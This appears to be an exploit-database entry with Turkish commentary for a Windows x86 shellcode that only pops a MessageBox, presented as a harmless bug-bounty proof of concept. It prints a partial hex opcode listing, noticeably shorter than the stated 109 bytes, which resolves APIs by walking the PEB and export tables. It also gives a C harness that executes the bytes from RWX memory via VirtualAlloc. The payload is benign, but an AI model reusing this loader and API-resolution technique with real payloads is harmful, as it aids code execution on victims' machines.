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VULN REPORT / shellcode / ID: 246

Windows/x86 MessageBox Shellcode - 109 Bytes (Klasik PoC)

2026-07-21
1 views
Verified
Windows x86

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_246.txt

Klasik PoC Shellcode - Windows x86 - 109 Bytes

Windows/x86 MessageBox Shellcode - 109 Bytes

Buffer overflow zafiyeti ispati icin kullanilan zararsiz PoC shellcode. Gercek saldiri yerine yalnizca ekranda dialog kutusu gostererek sistemin somuruldugunu kanitlar.

Hex Opcode

Shellcode icindeki hash tabanli API lookup ile user32.dll MessageBoxA bulunur ve cagrilir.

\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c \x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b \x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03 \x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20 \x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45

VirtualAlloc ile Test

#include char sc[] = "\x31\xd2..."; // yukaridaki hex int main() { LPVOID m = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(m, sc, sizeof(sc)); ((void(*)())m)(); }

BUG BOUNTY PoC Standardi

Gercek exploit kanitlamada calc.exe veya MessageBox gostermek, zafiyetin guvenli kaniti olarak kabul edilir.

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Nytro
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